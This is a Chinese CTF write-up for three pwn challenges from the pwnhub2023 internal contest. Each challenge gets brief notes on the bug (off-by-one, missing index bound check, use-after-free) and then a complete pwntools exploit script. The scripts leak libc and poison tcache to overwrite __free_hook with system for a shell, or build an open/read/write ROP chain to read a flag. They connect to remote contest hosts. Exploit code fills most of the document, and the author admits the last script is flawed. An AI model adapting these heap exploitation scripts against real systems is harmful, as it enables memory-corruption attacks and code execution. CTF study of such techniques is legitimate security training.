pwnhub2023-内部赛
ttsc
1.输出name时,%s可以leak栈地址,age和high部分,scanf输入‘-’可以不改变原来地址的值,即可泄露libc地址。
2.edit存在off-by-one,来制造overlapping,控制fd指针,打__free_hook即可
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./ttsc'
elf=ELF(binary)
libc=ELF('./libc-2.27.so')
debug=0
if debug:
libc=elf.libc
p=process(binary)
else:
host='121.40.89.206'
port='20111'
p=remote(host,port)
menu="chs:"
def add(idx,size,content):
p.sendlineafter(menu,'1')
p.sendlineafter("index?",str(idx))
p.sendlineafter("size:",str(size))
sleep(0.2)
p.send(content)
def delete(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("index?",str(idx))
def edit(idx,content):
p.sendlineafter(menu,'3')
p.sendlineafter("index?",str(idx))
p.sendafter("content:",content)
def debug():
gdb.attach(p)
pause()
def pwn():
p.recvuntil("name?")
p.send('a'*0x10)
p.recvuntil("age?")
p.sendline('-')
p.recvuntil("high?")
p.sendline('-')
p.recvuntil("name: ")
rbp_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x10
p.recvuntil("age: ")
addr1=int(p.recvn(10),10)
p.recvuntil("high: ")
addr2=int(p.recvn(5),10)<<32
libc_base=(addr1+addr2)-libc.sym["_IO_file_jumps"]
system=libc_base+libc.sym["system"]
bin_sh=libc_base+next(libc.search("/bin/sh"))
__free_hook=libc_base+libc.sym["__free_hook"]
pop_rdi_ret=libc_base+0x2164f
pop_rsi_ret=libc_base+0x23a6a
pop_rdx_ret=libc_base+0x1b96
ret=libc_base+0x8aa
log.info("libc_base-->"+hex(libc_base))
log.info("rbp_addr-->"+hex(rbp_addr))
add(0,0x38,b'a')
add(1,0x38,b'a')
add(2,0x38,b'a')
delete(2)
payload='a'*0x38+p8(0x81)
edit(0,payload)
delete(1)
payload='a'*0x38+p64(0x41)+p64(__free_hook)
add(1,0x78,payload)
add(2,0x38,'/bin/sh\x00')
delete(1)
add(1,0x38,p64(system))
delete(2)
p.interactive()
pwn()
three_edit
1.edit没有对idx下限检查,可以达成edit-after-free,来修改fd指针的低一字节,来申请到chunk头附近,进而控制chunk_size和fd指针,达成overlapping,
2.再来达成chunk同时在tcachebin和unsortedbin,进而控制fd指向stdout来leaklibc,然后打__free_hook即可
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
#context.log_level='debug'
binary='./three_edit'
elf=ELF(binary)
libc=ELF('./libc-2.31.so')
# debug=1
# if debug:
# libc=elf.libc
# p=process(binary)
# else:
# host=''
# port=''
# p=remote(host,port)
menu="is:"
def add(idx,size,content):
p.sendlineafter(menu,'1')
p.sendlineafter("index:",str(idx))
p.sendlineafter("size:",str(size))
p.sendlineafter("content:",content)
def delete(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("index?",str(idx))
def edit(idx,content):
p.sendlineafter(menu,'3')
p.sendlineafter("index?",str(idx))
p.sendlineafter("content:",content)
def debug():
gdb.attach(p)
pause()
def pwn():
for i in range(13):
add(i,0x60,'a')
delete(1)
delete(0)
edit(-0x3d,p8(0x60))
#debug()
payload='\x00'*0x10+p64(0)+p64(0x461)
add(0,0x60,'a')
add(1,0x60,payload)
delete(5)
delete(4)
delete(2)
add(13,0x50,'a')
add(14,0x70,p64(0)+p64(0x71))
#debug()
edit(-0x3d,p16(0x26a0))
#debug()
add(4,0x60,'a')
payload=p64(0xfbad1800)+p64(0)*3+'\x00'
add(5,0x60,payload)
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1eb980
__free_hook=libc_base+libc.sym["__free_hook"]
system=libc_base+libc.sym["system"]
log.info("libc_base-->"+hex(libc_base))
delete(7)
delete(3)
payload=p64(0)+p64(0x71)+p64(__free_hook)
edit(14,payload)
#debug()
add(3,0x60,'/bin/sh\x00')
add(7,0x60,p64(system))
delete(3)
p.interactive()
while True:
try:
p=remote("121.40.89.206",21795)
pwn()
break
except:
p.close()
tototo
1.存在UAF,申请一个大chunk,再分割成小chunk,就可以控制fd指针,用environ泄露栈地址,打orw。(但是写的有些问题,找不出来,仅供参考思路)
from pwn import *
context.update(os='linux',arch='amd64',timeout=1)
context.log_level='debug'
binary='./tototo'
elf=ELF(binary)
libc=ELF('./libc-2.31.so')
debug=1
if debug:
libc=elf.libc
p=process(binary)
else:
host='121.40.89.206'
port='36789'
p=remote(host,port)
menu="is:"
def add(idx,size):
p.sendlineafter(menu,'1')
p.sendlineafter("index?",str(idx))
p.sendlineafter("size?",str(size))
def delete(idx):
p.sendlineafter(menu,'2')
p.sendlineafter("one?",str(idx))
def edit(idx,content):
p.sendlineafter(menu,'3')
p.sendlineafter("one?",str(idx))
p.sendlineafter("content?",content)
def show(idx):
p.sendlineafter(menu,'4')
p.sendlineafter("one?\n",str(idx))
def calloc(idx,size):
p.sendlineafter(menu,'5')
p.sendlineafter("index?",str(idx))
p.sendlineafter("size?",str(size))
def debug():
gdb.attach(p)
pause()
def pwn():
calloc(0,0x620)
calloc(1,0x200)
delete(0)
show(0)
#debug()
libc_base=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x1ebbe0
environ=libc_base+libc.sym["environ"]
open_addr=libc_base+libc.sym["open"]
read_addr=libc_base+libc.sym["read"]
write_addr=libc_base+libc.sym["write"]
pop_rdi_ret=libc_base+0x26b72
pop_rsi_ret=libc_base+0x27529
pop_rdx_rbx_ret=libc_base+0x1626d6
ret=libc_base+0x25679
log.info("libc_base-->"+hex(libc_base))
add(2,0x200)
add(3,0x200)
add(4,0x200)
delete(1)
delete(3)
show(3)
heap_base=u64(p.recvn(6).ljust(8,'\x00'))-0x8d0
log.info("heap_base-->"+hex(heap_base))
payload='a'*(0x208-9)+p64(0x211)+p64(environ)
edit(0,payload)
#debug()
add(5,0x200)# 5&3
add(6,0x200)
show(6)
rbp_addr=u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00'))-0x128
log.info("rbp_addr-->"+hex(rbp_addr))
delete(4)
delete(5)
payload='\x00'*(0x208-9)+p64(0x211)+p64(rbp_addr-0x10)
edit(0,payload)
#debug()
add(7,0x200)
#debug()
add(8,0x200)
#debug()
#gdb.attach(p,'b *$rebase(0x187a)')
rop='\x00'*0x7+"./flag\x00\x00"
rop+=p64(pop_rdi_ret)+p64(rbp_addr)
rop+=p64(pop_rsi_ret)+p64(0)
rop+=p64(open_addr)
rop+=p64(pop_rdi_ret)+p64(3)
rop+=p64(pop_rsi_ret)+p64(heap_base+0x2a0)
rop+=p64(pop_rdx_rbx_ret)+p64(0x30)+p64(0)
rop+=p64(read_addr)
rop+=p64(pop_rdi_ret)+p64(1)
rop+=p64(write_addr)
edit(8,rop)
p.interactive()
pwn()